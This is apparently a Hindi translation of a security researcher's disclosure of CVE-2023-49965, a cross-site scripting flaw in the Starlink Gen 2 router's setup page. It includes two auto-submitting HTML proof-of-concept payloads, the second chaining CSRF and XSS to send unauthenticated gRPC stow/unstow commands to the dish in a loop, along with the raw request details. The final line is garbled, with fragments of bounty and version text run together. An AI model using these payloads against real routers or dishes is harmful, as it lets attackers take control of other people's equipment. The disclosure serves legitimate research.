yoshida-git-ai/spacex-starlink-router-gen-2-xssCVE-2023-49965 | SpaceX / Starlink राउटर Gen 2 XSS
आप पोस्ट का कोरियाई संस्करण यहाँ देख सकते हैं:
https://hackintoanetwork.com/blog/2023-starlink-router-gen2-xss-kor
दूसरी पीढ़ी के राउटर के प्रारंभिक कैप्टिव पोर्टल पृष्ठ में एक क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरी है, जो एक हमलावर को राउटर और डिशी पर नियंत्रण लेने की अनुमति दे सकती है।
यह कमजोरी राउटर के प्रारंभिक सेटअप पृष्ठ (http://192.168.1.1/setup) पर ssid और password मापदंडों के लिए इनपुट मानों के अपर्याप्त फ़िल्टरिंग के कारण होती है।
<html>
<body>
<h1>Proof of Concept</h1>
<form id="PoC" method="POST" action="http://192.168.1.1/setup">
<input type="hidden" name="ssid" value='" onfocus=javascript:alert(`XSS`); autofocus="'>
<!-- <input type="hidden" name="password" value='" onfocus=javascript:alert(`XSS`); autofocus="'> -->
</form>
<script type="text/javascript">
document.addEventListener("DOMContentLoaded", function() {
document.getElementById("PoC").submit();
});
</script>
</body>
<html>
इस क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरी का उपयोग एक क्रॉस-साइट रिक्वेस्ट फोर्जरी (CSRF) हमले के साथ मिलकर किया जा सकता है, जैसा कि ऊपर प्रूफ ऑफ कॉन्सेप्ट में दिखाया गया है।
सामान्यतः, कैप्टिव पोर्टल पृष्ठ केवल राउटर के आंतरिक पते 192.168.1.1 पर सक्रिय होना चाहिए, लेकिन पुराने राउटरों में एक बग था जो कैप्टिव पोर्टल पृष्ठ को अप्रत्याशित रूप से डिशी के आंतरिक पते 192.168.100.1 से भी सुलभ बना देता था।
http://192.168.1.1/setup → कैप्टिव पोर्टल पृष्ठ सही ढंग से प्रदर्शित होता है।
http://192.168.100.1/setup → कैप्टिव पोर्टल पृष्ठ इस पते पर भी प्रदर्शित होता है।
(सामान्यतः, डिशी के आंतरिक पते 192.168.100.1 पर कैप्टिव पोर्टल पृष्ठ तक पहुँच संभव नहीं होनी चाहिए।)
ऐसे बग का उपयोग क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरी के साथ मिलकर करने से ब्राउज़र की समान-मूल नीति (Same-Origin Policy, SOP) को दरकिनार करना और राउटर और डिशी दोनों पर नियंत्रण प्राप्त करना संभव हो जाता है।
यह पुष्टि की जा सकती है कि वही क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरी पते http://192.168.100.1/setup पर भी होती है।
अब देखते हैं कि मैं इन बगों का उपयोग करके राउटर और डिशी पर नियंत्रण कैसे प्राप्त कर सकता हूँ।
जब प्रशासक इंटरफ़ेस से स्टो आदेश जारी किया जाता है, तो निम्नलिखित HTTP अनुरोध डिशी को भेजा जाता है:
(नोट: स्टो आदेश डिशी एंटीना को गति या भंडारण के लिए मोड़ने की अनुमति देता है।)
POST /SpaceX.API.Device.Device/Handle HTTP/1.1
Host: 192.168.100.1:9201
Content-Length: 8
x-grpc-web: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
content-type: application/grpc-web+proto
Accept: */*
Origin: http://dishy.starlink.com
Referer: http://dishy.starlink.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
�}
इस अनुरोध के हेडर में कई महत्वपूर्ण जानकारी शामिल हैं।
x-grpc-web: 1
यह gRPC-Web प्रोटोकॉल के उपयोग को इंगित करता है।
(gRPC-Web एक प्रोटोकॉल है जो वेब क्लाइंट को सर्वर पर gRPC कॉल करने की अनुमति देता है।)
content-type: application/grpc-web+proto
यह दर्शाता है कि प्रेषित डेटा gRPC प्रोटोकॉल का उपयोग करता है और प्रोटोबफ प्रारूप में एन्कोडेड है।
अनुरोध मुख्य भाग (Request Body)
डिशी स्टो अनुरोध मुख्य भाग (हेक्स)
\x00\x00\x00\x00\x03\xef\xbf\xbd\x7d\x00
अनुरोध मुख्य भाग में grpc-web+proto प्रारूप में डेटा है, जिसमें संभवतः स्टो आदेश का विवरण है।
इस जानकारी को एक साथ रखने पर, जब कोई उपयोगकर्ता प्रशासन इंटरफ़ेस का उपयोग करके स्टो आदेश जारी करता है, तो आदेश gRPC के माध्यम से डिशी को भेजा जाता है, जो डिशी को पोर्टेबल स्थिति में मोड़ देता है।
हालाँकि, यदि आप अनुरोध को देखें, तो आप देखेंगे कि इसे भेजने वाले उपयोगकर्ता के लिए कोई प्रमाणीकरण नहीं है।
इसका मतलब है कि कोई प्रशासक के अलावा कोई अन्य व्यक्ति समान अनुरोध भेज सकता है और बिना प्राधिकरण के डिशी का नियंत्रण ले सकता है। लेकिन इस कमजोरी के लिए हमलावर को स्थानीय नेटवर्क तक भौतिक पहुँच की आवश्यकता होती है, जो दूरस्थ हमलों की तुलना में हमले के दायरे को सीमित करता है।
यदि ऐसा है, तो आप सोच सकते हैं कि आप समान अनुरोध भेजने वाले पेलोड के साथ क्रॉस-साइट रिक्वेस्ट फोर्जरी (CSRF) हमला करने का प्रयास कर सकते हैं।
हालाँकि यह एक संभावित परिदृश्य है, ब्राउज़र की समान-मूल नीति (SOP) इस हमले को सीमित करती है।
gRPC को application/grpc-web+proto नामक एक विशिष्ट content-type हेडर की आवश्यकता होती है।
हालाँकि, समान-मूल नीति (SOP) के कारण ब्राउज़र अन्य स्रोतों से अनुरोध भेजते समय इस हेडर को हटा देते हैं।
इससे सामान्य परिस्थितियों में बाहर से डिशी को gRPC अनुरोध भेजना असंभव हो जाता है।
सामान्यतः, समान-मूल नीति (SOP) वेब ब्राउज़रों को विभिन्न स्रोतों से अनुरोध करने से प्रतिबंधित करती है।
हालाँकि, क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरी के साथ, एक हमलावर पीड़ित के वेब ब्राउज़र के भीतर एक स्क्रिप्ट निष्पादित कर सकता है।
क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरी का उपयोग करके हमलावर द्वारा इंजेक्ट की गई स्क्रिप्ट को उसी स्रोत (अर्थात वह वेबसाइट जिस पर पीड़ित वर्तमान में है) से निष्पादित माना जाता है।
इस कारण से, समान-मूल नीति (SOP) इन स्क्रिप्ट्स द्वारा उत्पन्न अनुरोधों को उसी स्रोत से आने के रूप में पहचानती है, और इस प्रकार समान-मूल नीति (SOP) के प्रतिबंध इस मामले में लागू नहीं होते हैं।
इसलिए, क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरी का उपयोग करने वाले क्रॉस-साइट रिक्वेस्ट फोर्जरी (CSRF) हमले में, जिसमें एक विशिष्ट content-type हेडर (जैसे gRPC अनुरोध) की आवश्यकता होती है, चूँकि हमले की स्क्रिप्ट पीड़ित के ब्राउज़र के अंदर चल रही है, अनुरोध को एक वैध अनुरोध के रूप में पहचाना जाता है और इस विशिष्ट content-type हेडर के साथ भेजा जाता है।
उदाहरण के लिए, 192.168.100.1 में एक बग और क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरी को जोड़कर, एक हमलावर एक दुर्भावनापूर्ण स्क्रिप्ट भेज सकता है जो उपयोगकर्ता के ब्राउज़र को प्रॉक्सी करके राउटर या डिशी को आदेश देने के लिए एक grpc अनुरोध भेज सकता है। (हमलावर विभिन्न grpc अनुरोध भेज सकता है, जिसमें डिशी के स्टो और अनस्टो आदेश शामिल हैं।)
इसलिए, क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरी और उपर्युक्त बग को जोड़कर, डिशी को एक स्टो gRPC अनुरोध भेजने वाला पेलोड निम्नानुसार बनाया जा सकता है: (परिणाम यह है कि एक हमलावर दूरस्थ रूप से राउटर या डिशी का नियंत्रण ले सकता है। उदाहरण के लिए, वे राउटर सेटिंग्स बदलने या डिशी की कार्यक्षमता में हेरफेर करने के लिए grpc आदेश भेज सकते हैं।)
<html>
<body>
<h1>Dishy Stow and Unstow</h1>
<form id="PoC" method="POST" action="http://192.168.100.1/setup">
<!-- <input type="hidden" name="ssid" value='" onfocus=javascript:alert(`XSS`); autofocus="'> -->
<input type="hidden" name="password" value='"><script>for(let i=0;i<100;i++){setTimeout(()=>{var xhr=new XMLHttpRequest();xhr.open("POST","http://192.168.100.1:9201/SpaceX.API.Device.Device/Handle",true);xhr.setRequestHeader("x-grpc-web","1");xhr.setRequestHeader("Content-Type","application/grpc-web+proto");xhr.onreadystatechange=()=>{if(xhr.readyState==4&&xhr.status==200){console.log(xhr.responseText);}};xhr.send(new Uint8Array([0,0,0,0,3,146,125,0]).buffer);setTimeout(()=>{var xhr2=new XMLHttpRequest();xhr2.open("POST","http://192.168.100.1:9201/SpaceX.API.Device.Device/Handle",true);xhr2.setRequestHeader("x-grpc-web","1");xhr2.setRequestHeader("Content-Type","application/grpc-web+proto");xhr2.onreadystatechange=()=>{if(xhr2.readyState==4&&xhr2.status==200){console.log(xhr2.responseText);}};xhr2.send(new Uint8Array([0,0,0,0,5,146,125,2,8,1]).buffer);},1000);},i*2000);}</script><input type="hidden'/>
</form>
<script type="text/javascript">
document.addEventListener("DOMContentLoaded", function() {
document.getElementById("PoC").submit();
});
</script>
</body>
<html>
$500 USD)2023.48.0 और उससे ऊपर में है)